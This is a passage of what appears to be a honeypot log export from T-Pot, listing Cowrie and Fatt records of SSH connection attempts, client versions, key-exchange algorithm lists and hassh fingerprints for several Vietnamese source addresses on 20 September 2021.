"ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0a4b00568a57", "@version": "1", "timestamp": "2021-09-20T11:06:32.733751Z", "@timestamp": "2021-09-20T11:06:32.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21199	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.745822+03	2021-09-20 14:15:03.353642+03	{"_id": "qAXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "451e62234b8a", "@version": "1", "timestamp": "2021-09-20T11:06:32.745822Z", "@timestamp": "2021-09-20T11:06:32.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21200	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:33.03174+03	2021-09-20 14:15:03.354645+03	{"_id": "qgXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "12375781cb9c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:33.031740Z", "@timestamp": "2021-09-20T11:06:33.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21201	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.397016+03	2021-09-20 14:15:03.355643+03	{"_id": "sgXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:50022 (192.168.176.2:22) [session: f63db593bb98]", "session": "f63db593bb98", "@version": "1", "protocol": "ssh", "src_port": 50022, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.397016Z", "@timestamp": "2021-09-20T11:06:32.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21202	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:32.413208+03	2021-09-20 14:15:03.357642+03	{"_id": "swXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:42828 (192.168.176.2:22) [session: 0a4b00568a57]", "session": "0a4b00568a57", "@version": "1", "protocol": "ssh", "src_port": 42828, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.413208Z", "@timestamp": "2021-09-20T11:06:32.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21203	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:32.012149+03	2021-09-20 14:15:03.358613+03	{"_id": "tAXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38610, "timestamp": "2021-09-20T11:06:32.012149", "@timestamp": "2021-09-20T11:06:32.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21204	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:32.019359+03	2021-09-20 14:15:03.359642+03	{"_id": "tQXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": null, "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49762, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.019359", "@timestamp": "2021-09-20T11:06:32.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21205	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:32.289869+03	2021-09-20 14:15:03.36164+03	{"_id": "tgXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38610, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.289869", "@timestamp": "2021-09-20T11:06:32.289Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21206	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:32.401938+03	2021-09-20 14:15:03.362642+03	{"_id": "twXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50022, "timestamp": "2021-09-20T11:06:32.401938", "@timestamp": "2021-09-20T11:06:32.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21207	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:32.469077+03	2021-09-20 14:15:03.363645+03	{"_id": "uAXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35704, "timestamp": "2021-09-20T11:06:32.469077", "@timestamp": "2021-09-20T11:06:32.469Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21208	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:32.691476+03	2021-09-20 14:15:03.364642+03	{"_id": "uQXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": 